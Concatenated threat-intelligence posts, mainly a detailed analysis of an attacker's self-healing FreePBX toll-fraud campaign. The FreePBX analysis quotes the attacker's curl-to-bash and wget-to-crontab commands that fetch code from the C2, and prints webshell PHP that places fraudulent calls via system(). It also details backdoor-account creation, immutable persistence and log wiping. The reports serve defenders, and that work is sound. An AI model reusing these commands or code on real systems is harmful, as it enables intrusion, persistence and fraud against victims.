Defense Evasion (TA0030)	Obfuscated Files or Information (T1406)	Malware uses obfuscated strings
Defense Evasion (TA0030)	Masquerading: Match Legitimate Name or Location (T1655.001)	OverlayPhantom masquerades as Google Play Service
Credential Access (TA0030)	Abuse Accessibility Features (T1453)	OverlayPhantom abuses Accessibility service
Discovery (TA0032)	Software Discovery  (T1418)	OverlayPhantom checks the installed application list against the target list
Collection (TA0035)	Screen Capture (T1513)	OverlayPhantom captures screen content
Command & Control (TA0037)	Application Layer Protocol (T1437)	OverlayPhantom communicates with C2 over TCP
Command & Control (TA0037)	Non-Standard Port (T1509)	OverlayPhantom uses a non-standard port
Exfiltration (TA0036)	Exfiltration Over C2 Channel (T1646)	OverlayPhantom exfiltrates data to the C&C server

Indicators of Compromise (IOCs)

Indicators	Indicator type	Description
hxxps://bitlrewards-app[.]com/api/download/IDAustria	URL	Distribution URL
199.217[.]99[.]122	IP	C&C server
9ef37376bfaa18e193cc72218924ad8ebf56d2667d348f0eae5ae6ec45ab8775 f8b614a2918378063d6e6655b676ceb52ae65b1510e2cc08087fcac31acb7aeb 8ddc1f2a75f3d5b5bd054a5367bd5015ebc90f3453d63c7cce438c12dc2ae86a	FileHash-SHA256	OverlayPhantom Hash

The post OverlayPhantom: The Android Banking Trojan Hiding in Plain Sight appeared first on Cyble.

Executive Summary

Cyble Research & Intelligence Labs (CRIL) has identified an active FreePBX exploitation campaign, with high confidence tied to INJ3CTOR3, an actor with a documented history of targeting VoIP infrastructure for financial gain since 2019.

The campaign deploys a multi-stage Bash dropper that introduces JOMANGY, a PHP webshell family with no prior public documentation, alongside ZenharR, previously attributed to the same actor lineage. Every deployed webshell instance carries live VoIP toll fraud code that routes calls through the victim's own SIP trunks at the victim's expense. A C2-hosted IP inventory of 3,080 addresses, assessed as scanner output from a co-located reconnaissance node, reflects the operational scale.

The persistence architecture distinguishes this generation from prior INJ3CTOR3 campaigns. Six independent channels protect each other, spanning cron-based C2 polling, shell profile injection, immutable crontab backups, a process watchdog, chattr +i-protected webshell copies, and a self-reinstalling PHP executor. Any single surviving channel is enough to re-establish the full infection within minutes. Partial remediation is, by design, functionally useless.

The infection chain also drops 18 backdoor accounts across three tiers. Nine have UID-0 (root-equivalent) privileges, eight are service-tier OS accounts, and one is a FreePBX web panel account injected directly into MySQL. Account names are deliberately chosen to blend into the legitimate FreePBX service account inventory.

Key Takeaways

• JOMANGY is a PHP webshell family with no prior public documentation (this analysis being its first description). Every deployed instance uses double-layer obfuscation (base64 over ROT13) and carries the watermark string 'trace_e1ebf9066a951be519a24140711839ea', tying all campaign webshells back to a single source.
• The campaign establishes six independent persistence channels that protect each other: cron-based C2 polling every one to three minutes; shell profile injection firing on root login and reboot; eight chattr +i-immutable crontab backups protected by two separate restore cron loops; a process watchdog that respawns the beacon; chattr +i-protected webshell copies; and a PHP executor with its own cron reinstallation logic. Any single surviving channel re-establishes the full infection within minutes.
• 18 backdoor accounts land across the infection chain in three tiers: nine UID-0 (root-equivalent) OS accounts, eight service-account-tier OS accounts, and one FreePBX web panel account injected directly into MySQL. Account names such as asterisk, asteriskuser, freepbxuser, and spamfilter are deliberately chosen to blend into the legitimate FreePBX service account inventory.
• All three deployed webshell instances carry live VoIP toll fraud code that places calls through the victim's own SIP trunks via asterisk -rx "channel originate Local/<num>@<context>". A C2-hosted IP address inventory (people2.txt, 3,080 entries, assessed as scanner output), with roughly 39% pointing at Alibaba Cloud-hosted infrastructure, highlights the operational scale.
• The Stage 1 dropper evicts 50+ webshell signatures and blocks 11 competitor C2 IPs bidirectionally, while simultaneously self-evicting every artifact from INJ3CTOR3's own January 2026 campaign, consistent with the operator migrating their active botnet from Brazilian to Dutch infrastructure between campaign generations.
• At the time of analysis, we were not able to recover the exploit payload and could not confirm the entry vector from artifacts alone. The artifacts point to two candidate CVEs with high confidence: CVE-2025-64328 (FreePBX filestore module post-auth command injection, the documented prior-campaign entry vector) and CVE-2025-57819 (FreePBX Endpoint module pre-auth SQL injection via cron_jobs, whose WatchTowr Labs PoC artifacts the Stage 1 dropper explicitly evicts).
• Six independent artifact overlaps (the unique marker string `bm2cjjnRXac1WW3KT7k6MKTR`, the INJ3CTOR3 actor name appearing explicitly as an eviction target, the prior C2 `45.234.176.202` in the iptables block list, shared binary names and file paths, the `newfpbx` UID-0 backdoor account, and the MySQL `ampusers` insertion pattern) with Fortinet's January 2026 encystPHP report tie this campaign to INJ3CTOR3, corroborated by Check Point Research (2020), Palo Alto Unit 42 (2022), and SANS ISC diary #32892 (2026-04-13). The C2 URL framework (/k.php, /z/wr.php, /z/post/root.php) has been in continuous operation since at least 2021.
• k.php (100259af)and wr.php (d40180f7) were absent from VirusTotal at the time of analysis. The primary dropper (b506fc82) had four detections across 76 engines. The operator actively rotates k.php content, which further degrades signature coverage over time.

Attribution

We attribute the JOMANGY campaign to INJ3CTOR3 with high confidence based on the following:

• The eviction routine names bm2cjjnRXac1WW3KT7k6MKTR as a grep target (the same unique marker Fortinet identified in the January 2026 encystPHP dropper) and also names INJ3CTOR3 directly as an eviction target in the same block.
• The rest of the Fortinet overlaps (prior C2 45[.]234[.]176[.]202 in the iptables block list, shared file paths and binary names, the newfpbx UID-0 backdoor, the MySQL ampusers pattern) confirm this. Unit 42 documented the same ZenharR toolset and identical C2 URL structure against the same actor in 2022.
• SANS ISC diary #32892 independently identified the current C2 and the shared password hash in April 2026. Check Point Research traced the same eviction targets, b3d0r and yokyok, to this actor's CVE-2019-19006 campaign in 2020.

For anyone tracking this actor long-term, it is worth noting that Juba was explicitly deleted and evicted in the January 2026 dropper. Yet, the current Stage 1 resets its password without recreating the account.

An operator working from someone else’s scripts would not know which dormant accounts to password-cycle. The motivation behind this is toll fraud, as in every generation of this campaign, since 2019. (See Figure 2)

Victimology and Target Profile

The 3,080-IP inventory (people2.txt) is mostly APAC cloud: Alibaba Cloud, which spans China, Hong Kong, and Singapore, accounts for roughly 39%. The C2 was live during artifact collection, and the operator was actively updating the list between snapshots.

The Elastix SQLite database theft (/var/www/db/acl.db) and the use of account names such as Issabel and Sangoma indicate that the operator is targeting every major PBX platform family across Latin America, Southeast Asia, and the Middle East.

The 2 in people2.txt likely implies an earlier version of the list exists somewhere. Across 3,080 assessed entries, this is assessed as automated mass exploitation rather than a targeted campaign. (See Figure 3)

Background

VoIP toll fraud is one of the leading categories in a $41.82 billion global telecom fraud problem (CFCA, Global Fraud Loss Survey 2025 & [9]) that rarely makes it into mainstream security coverage.

FreePBX and Asterisk deployments have been a consistent target for financially motivated actors for most of the last decade. A FreePBX host with working SIP trunks gives an attacker direct access to the victim's carrier accounts and the ability to originate calls at will.

Toll fraud avoids the operational overhead of ransomware negotiations or finding a data buyer by having the operator route calls through premium-rate numbers (IPRNs) they control or sell capacity to third-party fraud networks and then have the victim's carrier send the bill.

Internet-exposed FreePBX management interfaces number globally in the tens of thousands, with a large fraction running end-of-life releases and minimal host hardening.

INJ3CTOR3 has been exploiting this attack surface continuously since at least 2019. Check Point Research documented the actor's CVE-2019-19006 campaign in 2020. Palo Alto Unit 42 followed with a ZenharR-deploying generation targeting CVE-2021-45461 in 2022. Fortinet then covered the January 2026 encystPHP iteration operating from C2 45[.]234[.]176[.]202.

The Shadowserver Foundation tracked over 900 FreePBX instances that were actively compromised as of February 2026 and were tied to that campaign. By May 2026 (five months after public disclosure), 700+ remained compromised across North America, Europe, Asia, South America, Africa, and Oceania. That number reflects how genuinely difficult these infections are to clear. (See Figure 4)

Shadowserver independently attributed the ongoing compromises to exploitation of CVE-2025-64328, the same CVE that emerges as a candidate for initial access in the current campaign.

We collected the current generation in April 2026 from a Bash dropper still communicating with an active C2 at 45[.]95[.]147[.]178 (using artifacts from C2's web directory also referenced by SANS ISC diary #32892).

Technical Analysis

Initial Access Vector

The earliest recovered artifact (Stage 1, b506fc82) is already executing on the victim system. No exploit payload or HTTP server access logs were recovered, so the initial entry point was not confirmed.

However, two CVEs emerge as high-confidence candidates, each tied to a distinct forensic indicator in the samples.

Every stage from Stage 1 through the license.php executor includes a line that scrubs Apache httpd logs of entries containing the string "restapps" (sed -i '/restapps/d'). The JOMANGY webshell cleanup routine also explicitly targets file patterns associated with WatchTowr Labs' CVE-2025-57819 proof-of-concept.

Files matching *-watchTowr-*.php are searched for and deleted. Both patterns are confirmed in the sample. What they imply about the initial access vector is assessed, not confirmed. (See Figure 5)

CVE-2025-64328 is a post-authentication command-injection vulnerability in the FreePBX filestore module, affecting versions 17.0.2.36 through 17.0.3, and patched in 17.0.3 (CVSS 8.6, FreePBX advisory). CISA added it to the KEV (Known Exploited Vulnerabilities) catalog in February 2026 following Shadowserver Foundation reporting of approximately 900 compromised instances beginning in December 2025.

Fortinet documented CVE-2025-64328 as the entry vector for the January 2026 prior encystPHP campaign operating from C2 45[.]234[.]176[.]202, the same prior campaign whose artifacts the current dropper systematically evicts. That direct lineage makes it a strong candidate for campaign continuity.

There is a caveat, though. CVE-2025-64328 operates through the filestore module at HTTP path /admin/ajax.php?module=filestore&command=testconnection.

The restapps log scrubbing present throughout every stage of the current campaign does not correspond to this module's exploitation path and therefore, cannot be read as evidence of CVE-2025-64328 here.

That restapps log-scrubbing is better understood as a legacy behavioral artifact the actor has carried across every campaign generation since 2022, when CVE-2021-45461 (the Rest Phone Apps module RCE documented by Unit 42) served as the prior-generation entry vector and introduced ZenharR) persists as a carry-forward into the current campaign.

This behavioral continuity is analytically useful for long-term actor tracking, but it does not constrain the current entry vector assessment. CVE-2025-64328 and CVE-2025-57819 remain the high-confidence candidates for the current campaign.

CVE-2025-57819 is a pre-authentication SQL injection vulnerability in the FreePBX Endpoint module. WatchTowr Labs documented active exploitation beginning September 2025, through a mechanism that inserts a malicious entry into the Endpoint module's cron_jobs database table, causing FreePBX's internal scheduler to execute arbitrary OS commands at one-minute intervals, a mechanism architecturally identical to this campaign's own cron-persistence model (WatchTowr Labs CVE-2025-57819 proof-of-concept).

The pre-authentication nature is consistent with mass automated exploitation across a 3,080-entry assessed target inventory. The architecture presents an additional indicator: the prior encystPHP dropper (71d94479) explicitly disabled the Endpoint module (chmod 000 endpoint/ajax.php) and (fwconsole ma uninstall endpoint, fwconsole ma delete endpoint). (See Figure 6)

The current campaign does not disable the Endpoint module. If CVE-2025-57819 was the entry vector, disabling the module eliminates the entry path itself. An operator who still needs the module active for exploitation would leave it running. Therefore, we treat this architectural inference as the strongest available evidence linking CVE-2025-57819 to the current campaign.

Campaign Architecture and Staging

The infection chain runs across three Bash payload stages, with license.php serving as a PHP executor component written to disk by those stages rather than fetched directly from the C2.

Stage 1 (b506fc82) is the initial Bash dropper where a concurrent re-run variant (/x) re-applies the same host-takeover behaviors on already-owned hosts and is treated as part of Stage 1 rather than a separate stage.

Stage 2 (k.php) deploys the JOMANGY webshell family and is the first one to write license.php to disk.

Stage 3 (wr.php, d40180f7) is a ZenharR dropper that forms a second cron download track running in parallel with k.php. wor.php (995e6304) is a second ZenharR dropper hosted at /z/wor.php on the C2.

It was recovered from the C2 artifact dump, but has no trigger identified in any executed payload in the recovered artifact chain. license.php is a PHP command executor invoked via the FreePBX HA hook; it executes between Stage 2 and Stage 3 in the chain, then again after Stage 3 rewrites it. (See Figure 1 for the campaign architecture flow)

Stage-by-Stage Payload Analysis

Stage 1: Bash Dropper (23,355 bytes, b506fc82)

The dropper runs in a deliberate order. Competitor eviction goes first, followed by credential implantation and persistence installation, with log destruction last. Running eviction up front clears competing implants and defensive tooling before the operator's own infrastructure lands, shrinking the window where both sides' webshells coexist on the same host.

It deletes previously placed download artifacts (devnull24, devnull23, devnull2, and prior campaign iteration artifacts, as confirmed by naming patterns). Lines 15-19 handle two things in parallel:

• A blanket userdel loop which removes all non-root accounts with UID 0 or UID >= 1000,
• A MySQL INSERT establishes the FreePBX web panel backdoor for account freepbxusers with admin-level access (sections=*) and password SHA1 hash 6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9.

Then it runs the bulk competitor webshell eviction, searching /var/www/html/ and /var/www/ for approximately 50 named webshell signatures and deleting matching PHP files. (See Figure 7)

Credential implantation runs in two tiers. Lines 262-264 decode and execute three base64-obfuscated useradd commands that create UID-0 accounts newfpbxs, newfpbx, and xhimax with the shared MD5-crypt password hash. Lines 292-298 create seven more UID-0 accounts in plaintext: centos, admin, support, issabel, sangoma, emo, and xhimax (a redundant second creation of xhimax).

It creates eight non-UID-0 accounts (sugarmaint, spamfilter, asteriskuser, supports, freepbxuser, supermaint, asterisk, and hima), all sharing the same MD5-crypt password hash, and applies (Lines 312-321) the same hash to ten accounts, including root itself, via chpasswd -e. (See Figure 8)

Stage 1 installs persistence across two active tracks. The first is recurring cron polling of k.php every one to three minutes. The second is a shell profile stager appended to /root/.bash_profile, /root/.bashrc, and /etc/rc.local, which run on every root login and system reboot.

Lines 272-278 also execute a one-time phone-home to the C2 root index (http://45[.]95[.]147[.]178/) immediately on first run, separate from the cron infrastructure and effective even if the cron subsystem is blocked at execution time.

The active crontab is written to eight hidden, chattr +i-immutable backup paths using system-mimicking directory names, protected by two independent restore loops and a process watchdog.

Stage 1 deploys no webshells. That work is deferred entirely to Stage 2, an intentional departure from the prior encystPHP generation, which wrote the webshell directly from the initial dropper.

The full per-channel breakdown (including self-healing mechanism) is covered in the Persistence Mechanisms section below. (See Figure 9)

The dropper closes with SSH hardening and log wiping. (See Figure 10)

Stage 2: k.php (100259af, approximately 45KB, Bash)

It opens by fetching and executing /x via curl (curl http://45[.]95[.]147[.]178/x -ks | bash), re-applying the Stage 1 host-takeover behaviors before any webshell deployment begins.

Line 3 decodes a base64 blob and writes it to /var/www/html/admin/views/ajax.php, the FreePBX admin AJAX endpoint, and a high-traffic legitimate file that provides cover for the webshell.

Lines 15-25 copy the same blob to more than ten additional paths across the FreePBX web tree, including /var/www/html/h.php, /var/www/html/rest_phones/ajax.php, /var/www/html/admin/modules/h/ (ajax.php, config.php, index.php), and subdirectories under fpbxphones/ and phones/.

Lines 27-28 write an .htaccess rewrite rule (RewriteEngine On; RewriteRule .* config.php), so any request to an unrecognized path within those directories lands on a webshell copy.

Lines 7-8 reinstall the MySQL ampusers backdoor using the same DELETE + INSERT pattern as Stage 1, replanting the freepbxusers web panel account every time k.php executes.

Lines 9-10 redundantly repeat the useradd invocations for newfpbx and xhimax. Lines 29-30 apply chattr +i to the primary webshell files. Lines 31-32 execute a base64-decoded tryRoot1.sh shell script (run twice redundantly), which writes /var/www/html/admin/modules/freepbx_ha/license.php and triggers the FreePBX HA hooks.

The operator rotates k.php actively. The artifact collected (100259af, ~45KB) and the VT URL last-fetch variant (49abb105, retrieved 2026-04-29) are distinct, which suggests that what a victim receives from k.php at any given moment may differ from what was analyzed here. (See Figure 11)

The PHP webshell blob is double-obfuscated: an outer base64 layer encodes a PHP string that, when decoded, applies str_rot13() to a second encoded layer before passing the result to eval(). Once decoded, the webshell presents a form with <input type="submit" name="JOMANGY" value="JOMANGY">, the identifier establishing this as the JOMANGY family.

The outer PHP wrapper includes dead-code AV evasion and a watermark comment,/* trace_e1ebf9066a951be519a24140711839ea */, which appears in each deployed instance, tying deployments in this campaign to a single common source. (See Figure 12)

Stage 3: wr.php (d40180f7, 27KB, Bash)

wr.php mirrors the k.php structure but targets a different primary webshell path set and deploys the ZenharR family. It opens with the same concurrent dropper execution (curl http://45[.]95[.]147[.]178/x -ks | bash), then writes a ZenharR webshell blob to two paths simultaneously via tee: /var/www/html/digium_phones/ajax.php and /var/www/html/admin/views/some.php.

The subsequent 15 cp commands (lines 4 and 16–29) copy from /var/www/html/admin/views/ajax.php, which at this point contains the JOMANGY webshell placed by k.php, to 15 additional some.php paths across the FreePBX web tree.

These copies, therefore, propagate JOMANGY, not ZenharR. wr.php applies .htaccess and chattr +i to its primary write targets, runs the MySQL backdoor reinstallation with the same freepbxusers SHA1 hash, and calls back to http://45[.]95[.]147[.]178/z/post/noroot.php | sh after completing ZenharR deployment and file propagation, then once again after executing tryRoot1.sh.

The tryRoot1.sh execution writes /var/www/html/admin/modules/freepbx_ha/license.php and triggers the FreePBX HA hooks by writing a trigger token to /usr/local/asterisk/ha_trigger and /usr/local/asterisk/ha_triggers.

The wr.php cron entries land on a victim through two independent paths: license.php's dual-track reinstallation logic, and a set of explicit wget .../z/wr.php ... | crontab - commands baked directly into the tryRoot1.sh payload embedded in wr.php itself.

The license.php path is the shared channel, and the direct crontab install is a wr.php-specific fallback. A defender who neutralizes the license.php-mediated cron track but leaves wr.php's own tryRoot1.sh reachable still gets wr.php re-established on its own. (See Figure 13)

Stage 3 (parallel): wor.php (995e6304, 13KB, Bash)

wor.php is a lighter-weight dropper hosted at /z/wor.php on the C2 but with no trigger identified in any executed payload in the recovered artifact chain (see Campaign Architecture above). Unlike wr.php, it does not chain the concurrent dropper (x).

It writes a ZenharR webshell blob via tee to both /var/www/html/digium_phones/ajax.php and /var/www/html/admin/views/ajax.php simultaneously — the latter overwriting the JOMANGY webshell that k.php placed there, replacing it with ZenharR.

The 10 subsequent cp commands copy the contents of admin/views/ajax.php, which now holds ZenharR, to 10 additional paths. wor.php applies an .htaccess rewrite rule but has no chattr +i commands.

It calls back to hxxp://45[.]95[.]147[.]178/z/post/noroot.php| sh after completing ZenharR deployment and file propagation, then once again after executing the tryRoot1.sh sequence.

The deployed ZenharR instance uses a distinct auth hash (b92c65af386ed772972b43cab0d55a4a) and embeds operator VPN IP 169[.]150[.]218[.]33.

At the time of analysis, the noroot.php endpoint served an empty response, indicating a non-root execution callback path that is prepared but not yet populated with commands.

freepbx_ha/license.php (PHP executor)

license.php is a PHP script written to disk by tryRoot1.sh and invoked via the FreePBX HA mechanism. It contains system(‘%s’), a format-string placeholder that the operator populates through the JOMANGY webshell before triggering the HA hook, providing privileged arbitrary command execution. Unlike the JOMANGY and ZenharR browser-accessible webshells, license.php lacks an authentication mechanism and eval-based obfuscation.

Beyond that command slot, the script runs three independent user-deletion loops clearing all non-root UID-0 and UID-≥1000 accounts; chpasswd operations setting ueteGJYCHeMTk on root and seven service accounts (sugarmaint, spamfilter, asteriskuser, supports, asterisk, freepbxuser, and supermaint); useradd commands promoting sugarmaint, supports, and supermaint to UID-0; SSH hardening; httpd log scrubbing; a dual-track cron reinstallation covering both k.php and z/wr.php download paths; and a final curl http://45[.]95[.]147[.]178/z/post/root.php | sh. At the time of analysis, root.php served a 12-byte #!/bin/bash stub with no active commands.

The script also explicitly enables PermitRootLogin, opens TCP/22 through iptables, and restarts sshd to ensure remote administrative access remains available. (See Figure 14)

Obfuscation and Evasion Techniques

Stage 1's encoding choices are purposeful. Most of the script runs in plaintext, including competitor eviction, iptables rules, and log deletion. The base64 encoding is reserved specifically for the UID-0 useradd invocations (lines 262-264) and the shell profile stager (line 302).

The -ou 0 flag combination is one of the more reliable behavioral heuristics in endpoint tooling, and encoding those three lines costs the operator nothing while suppressing the most detectable pattern in the dropper.

The cron payload variables (B64_ZEN2, B64_DEVNULL, B64_HEAL) are stored as base64 strings decoded inline at runtime. A crontab -l on a victim host returns what appears to be benign variable assignments.

The download URLs and execution commands are not visible without manually decoding each variable. (See Figure 15)

JOMANGY's encoding is a step up from what this operator has used before. The outer PHP blob runs str_rot13() on an inner base64 payload before passing to eval(). In practice, automated analysis tools that stop after a single base64 decode pass produce ROT13 output, not PHP, and yield nothing actionable.

The dead-code stub (if(false){ $SdDDlKoPiuhDB = 'deadcode_anti_av'; }) is a separate trick that targets static heuristics that flag PHP files for suspicious variable assignments. The variable exists only inside a branch that never executes. Neither of the techniques used is novel, but both offer cheap modifications with measurable payoff. (See Figure 16)

k.php, and wr.php had zero VirusTotal submissions at the time of analysis, and Stage 1 came in at four detections across 76 engines. (See Figure 17)

Persistence Mechanisms

The campaign establishes six independent persistence channels, engineered so that partial remediation leaves the infection intact and capable of full re-establishment.

Channel 1: Primary cron polling: We observed 8 cron entries installed across 2 blocks download hxxp://45[.]95[.]147[.]178/k.php every one to three minutes and execute the result under varying binary paths in /var/lib/asterisk/bin/, /dev/shm/.systemd/, and /tmp/.cache/.

This is the primary beacon: every minute, the crontab runs, fetching the latest version of k.php and re-executing it, redeploying any removed webshells within 3 minutes. (See Figure 18)

Channel 2: Shell profile persistence. Stage 1 appends a base64-encoded download-and-execute stager to /root/.bash_profile, /root/.bashrc, and /etc/rc.local. This channel fires on every interactive root login and every system reboot, independently of the cron subsystem. An operator who kills all running dropper processes and clears the crontab will re-trigger the infection on the next login or reboot. (See Figure 19)

Channel 3: Self-healing crontab backup system. Stage 1 writes the active crontab to eight hidden paths using directory names that mimic legitimate system directories. Each file is immediately flagged immutable with chattr +i, so that rm -rf executed even by root silently fails without error. Two separate cron restore entries, then protect these backups.

The first (B64_HEAL, line 357) fires at a random minute every hour and decodes to: for b in <all 8 paths>; do [ -s "$b" ] && crontab "$b" && break; done.

The second (line 359) fires every minute with an inline condensed version, iterating five of the eight paths.

A defender who removes only the B64_HEAL entry leaves the per-minute restore entry active.

A defender who removes both restore entries but misses the immutable flag on even one backup file finds the crontab reinstalled within an hour when the next dropper execution re-installs the restore entries.

Leaving any single channel intact causes full infection to re-establish within minutes. (See Figure 20)

Channel 4: Process watchdog. Stage 1 installs a cron entry running pgrep -x zen2 || bash <download_path> and pgrep -x devnull2 || bash <download_path>. If either the primary beacon binary (zen2) or the secondary variant (devnull2) is absent from the process table, the watchdog re-downloads and re-executes k.php. Killing the beacon process without simultaneously removing the watchdog cron entry results in an immediate respawn.

Channel 5: PHP webshells with immutability. Stage 2 writes JOMANGY to over twelve paths while Stage 3 adds more. wr.php drops ZenharR directly into digium_phones/ajax.php and admin/views/some.php, then bulk-copies the existing JOMANGY shell to 15 additional paths via a cp loop. Primary copies carry chattr +i, so rm -rf issued as root returns without removing the file.

Each deployed instance is also a dropper in its own right, where a single authenticated HTTP request to any surviving shell triggers a full cron reinstall, credential rotation, and re-execution of all stages. If a defender misses one path during cleanup, the operator rebuilds the entire infection stack from a browser.

Channel 6: freepbx_ha/license.php. The PHP executor, triggered via the FreePBX HA hook mechanism, includes its own independent cron reinstallation logic for both k.php and wr.php download tracks. As long as this file exists on disk and the FreePBX HA module is installed, the operator can invoke it to rebuild the entire persistence stack from scratch. (See Figure 21)

Implant and Backdoor Analysis

JOMANGY has no prior public documentation. This analysis is its first description. Every deployed instance carries the watermark /* trace_e1ebf9066a951be519a24140711839ea */, which makes hunting straightforward: any PHP file under the FreePBX web root containing that string is a campaign artifact. An earlier variant (SHA256 039d648b, VT first seen 2026-04-07) had a different auth hash (bfcedbc1831779921a0ee2cfaee004f2) and embedded operator IP 146[.]70[.]129[.]114 (AS9009 M247 Europe SRL). The operator rotated both webshell credentials and VPN provider between that early variant and the live campaign deployment, moving from M247 to Datapacket-hosted infrastructure somewhere in between. Below is the JOMANGY operator panel. (See Figure 22)

ZenharR was documented by Unit 42 in 2022 against the same actor lineage. This is tool reuse rather than a new family. The wr.php and wor.php instances have distinct auth hashes and embedded IPs per deployment (a2f6863.../169[.]150[.]218[.]37 and b92c65af.../169[.]150[.]218[.]33).

SANS ISC diary #32892 observed a third hash (cf710203400b8c466e6dfcafcf36a411) at /admin/modules/phones/ajax.php, a third deployed variant that was not in the collected artifact set. All instances use single-layer base64 + eval obfuscation and authenticate via md5($_REQUEST['md5']) == '<hash>'; the C2's ___ask.php and ___md5.php both serve the same live token (ec4ca4db5ec0b782e51224fa7082ac06), which enables the operator to rotate webshell credentials across all victims simultaneously by updating a single file.

Post-authentication, both webshell families expose the same capabilities. The VoIP fraud module is present in all instances:

if (isset($_REQUEST['call'])) {
    system('asterisk -rx "channel originate Local/'
        . $_REQUEST['prs'] . $_REQUEST['num']
        . '@' . $_REQUEST['context']
        . ' application wait '
        . $_REQUEST['time'] . '"');
}
 

Four parameters from the browser: prs (prefix/country code), num (destination), context (Asterisk dialplan context), and time (call duration). The webshell runs asterisk -rx locally. Victim's trunks, victim's bill.

The same channel-originating interface was documented in the 2022 ZenharR samples (Unit 42) and in the January 2026 VictamPbx webshells.

The remaining capabilities are consistent across all three instances: $_REQUEST['cmd'] -> system() for arbitrary OS commands; Elastix SQLite ACL database theft (/var/www/db/acl.db); and FreePBX admin session hijack via ampuser setAdmin().

Command and Control

The C2 at 45[.]95[.]147[.]178 (AS49870 Alsycon B.V., Netherlands) hosts the /z/ directory, the operator's backend, four static text files with no panel, no framework, and no staging server visible from the recovered artifacts. ___ip.php serves a single IP address (169[.]150[.]218[.]33) that matches the operator VPN IP embedded in wor.php's ZenharR authentication form; PTR resolution returns a Datapacket hostname (AS212238), consistent with dedicated operator-controlled infrastructure, though the file's exact role on the C2 is not confirmed from the artifact alone.

 ___ask.php and ___md5.php both serve the same 32-byte string (ec4ca4db5ec0b782e51224fa7082ac06).

The most consistent read is that deployed webshells poll one of these endpoints to stay synchronized on the valid auth hash — a single file update on the C2 rotates credentials across every victim simultaneously.

___zen.php (a8b65af6c142736ccf80420e44df240f) is assessed as a ZenharR payload integrity reference; no mechanism confirming that function was identified in the recovered chain. (See Figure 23)

The scanner 160[.]119[.]76[.]250 sits in the same AS49870 allocation as the primary C2 and was independently named by SANS ISC diary #32892 as the probe origin for this campaign.

Competitor Eviction and Ecosystem Dynamics

Stage 1 evicts two distinct sets of tooling. The first is the operator's own prior-campaign artifacts; the January 2026 encystPHP infrastructure was cleared from every host being migrated to the new Dutch infrastructure.

The second is the standard competitor cleanup: roughly 50 webshell families deleted across the web tree and 11 external C2 IPs blocked bidirectionally, keeping the same pool of compromised FreePBX systems clear of actors who have been co-resident on them since at least 2020.

The self-eviction evidence is unambiguous. The prior campaign dropper (71d94479, January 2026, C2 45[.]234[.]176[.]202) deployed a webshell named "VictamPbx" with button markup name="VictamPbx" and embedded the unique marker string bm2cjjnRXac1WW3KT7k6MKTR in its own competitor eviction grep list.

Both strings appear verbatim in the current Stage 1 dropper's eviction routine, causing the current campaign to search for and delete files from the prior campaign's own webshell family.

The prior C2 IP 45[.]234[.]176[.]202 appears on the current campaign's iptables block list, blocking any still-running prior-campaign beacon from reaching its origin server.

The prior campaign's download artifacts (devnull24, devnull23, devnull2) are explicitly deleted while every compromised host is moved from the January 2026 Brazilian infrastructure to the April 2026 Dutch infrastructure (every trace of the prior generation is carried over). (See Figure 24)

The third-party cleanup spans roughly 50 webshell signatures: b374k, t3rr0r, Hacked, New-Pbx, FaTaLisTiCz_Fx, b3d0r, yokyok, watchTowr, nahda, bluej, Black Ban V1.01, and others. b3d0r and yokyok have appeared in INJ3CTOR3 eviction lists since 2020.

The same actors have been sharing these compromised hosts with INJ3CTOR3 for at least 6 years, only to be evicted with each new campaign generation.

The watchTowr entry is worth noting separately (the same research group whose CVE-2025-57819 PoC artifacts get evicted from disk) is also the source of the vulnerability most consistent with this campaign's initial access method.

The iptables blocking goes in both directions — INPUT -s <C2> DROP stops competitor servers from delivering payloads or issuing commands; OUTPUT -d <C2> DROP stops the host from calling back, even if a competitor webshell survives the filesystem eviction.

The seven competitor IPs replaced in the FreePBX and Asterisk config files are the same C2 hijacking the 2022 generation. Wherever prior malware had pointed FreePBX to a competitor’s IP address, this campaign overwrites it with its own IP address, diverting any residual callbacks.

Conclusion

JOMANGY is documented as a previously undocumented PHP webshell family, deployed with double-layer obfuscation, that outperforms every prior generation of INJ3CTOR3 tooling. k.php and wr.php arrived at near-zero AV coverage, and the operator is actively rotating k.php to sustain that gap.

What distinguishes this generation is not the count of persistence channels but the engineering logic connecting them. Each of the six channels can rebuild every other channel. Immutable crontab backups silently block root-level deletion. Every deployed webshell doubles as a complete dropper.

The architecture is designed to prevent sequential remediation from succeeding. Clearing five of six channels hands the infection a recovery window measured in minutes. A confirmed infection warrants a full rebuild from a clean baseline.

The self-eviction of prior campaign artifacts is as analytically significant as the new tooling. Hunting down VictamPbx artifacts, cutting off the old C2, and rotating passwords on dormant accounts all point to an intentional botnet migration rather than an incidental cleanup.

Six years of continuous operation, each generation cleanly evicting the last, reflects the discipline that keeps this campaign running through repeated public disclosure.

Both candidate CVEs are patched in current FreePBX releases, but the 700+ hosts Shadowserver tracked as still compromised five months after the CVE-2025-64328 disclosure suggest that patching alone does not equal remediation.

On an already-owned host, patching closes the entry point but leaves the cron infrastructure intact, allowing the infection to re-establish itself before the patch can take effect.

The C2 at 45[.]95[.]147[.]178 remains active. Cyble Research & Intelligence Labs continues to monitor the evolution of INJ3CTOR3's infrastructure and toolset.

The post JOMANGY: INJ3CTOR3’s Self-Healing FreePBX Toll Fraud Campaign appeared first on Cyble.

Executive Summary

Cyble Research and Intelligence Labs (CRIL) has uncovered a targeted cyberespionage campaign leveraging social engineering and trusted infrastructure to establish persistent, covert access to victim systems.

The attack is delivered via phishing emails containing a malicious LNK file disguised within a RAR archive, using a Russian humanitarian aid request form to exploit contextual trust. Evidence of a secondary survey-based lure indicates the threat actor is actively refining delivery techniques.

Execution triggers a stealthy, multi-stage infection chain in which a decoy document is presented to the user while a heavily obfuscated, fileless (PE-less) Python-based implant is silently deployed.

The payload is retrieved from GitHub Releases, enabling the attacker to blend malicious traffic with legitimate services and evade traditional detection mechanisms. Persistence is established through scheduled tasks, ensuring long-term, resilient access.

Once active, the implant operates as a full-spectrum surveillance platform, enabling credential harvesting, keystroke logging, clipboard and screenshot capture, sensitive data exfiltration, and covert remote access. The campaign prioritizes continuous intelligence collection while maintaining a low operational footprint and minimal user visibility.

While attribution remains inconclusive, the artifacts strongly suggest a deliberate intelligence-gathering operation likely targeting Russian-speaking individuals or entities.

Key Takeaways

• The LNK file contains self-obfuscated content that is extracted and executed by PowerShell, using a deliberate technique to evade automated sandbox analysis.
• Multiple lure types themed around humanitarian aid, written in Russian, have been observed, suggesting the intended targets are Russian-speaking individuals, and the threat actor is actively adapting delivery approaches.
